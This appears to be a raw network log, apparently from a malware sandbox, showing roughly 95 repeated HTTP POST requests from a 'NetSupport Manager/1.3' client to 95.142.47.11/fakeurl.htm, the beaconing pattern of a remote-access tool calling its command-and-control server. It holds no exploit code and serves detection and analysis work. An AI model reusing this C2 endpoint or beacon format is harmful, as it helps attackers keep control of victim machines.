Dec 6, 2023 14:34:49.334115028 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:49.436464071 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:49.657188892 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:49.757162094 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:49.858876944 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:49.961782932 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:50.061885118 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:50.162336111 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:50.263008118 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:50.363100052 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:50.462950945 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:50.564048052 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:50.665039062 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:50.766086102 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:50.866069078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:50.974832058 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:51.074954987 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:51.175872087 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:51.277143955 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:51.377055883 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:51.477080107 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:51.583636045 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:51.706655025 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:52.513075113 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:52.614058018 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:52.717472076 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:52.818120003 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:52.919138908 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:53.020015955 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:53.120014906 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:53.220295906 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:53.320182085 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:53.421056032 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:53.521106958 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:53.620870113 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:53.721946001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:53.822062969 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:53.923058987 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:54.026788950 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:54.127875090 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:54.228080988 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:54.329024076 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:54.430001020 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:54.530920029 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:54.631874084 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:54.732319117 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:54.833108902 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:54.933176994 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:55.034039021 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:55.133918047 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:55.234901905 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:55.335905075 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:55.435863018 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:55.537034988 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:55.637000084 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:55.736843109 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:55.836886883 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:55.938060045 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:56.175870895 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:56.275899887 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:56.376864910 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:56.477087975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:56.578003883 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:56.678006887 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:56.778951883 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:56.879766941 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:56.978992939 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:57.079998016 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:57.179912090 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:57.280900002 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:57.385587931 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:57.485898018 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:57.587060928 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:57.687860012 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:57.788177967 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:57.888849020 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:57.988920927 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:58.090686083 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:58.190881014 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:58.393213034 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:59.423307896 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:59.522979975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:59.623967886 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:59.724839926 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:59.824982882 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:34:59.926001072 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:00.025996923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:00.126090050 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:00.227035046 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:00.326966047 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:00.442969084 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:00.648021936 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:00.750911951 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
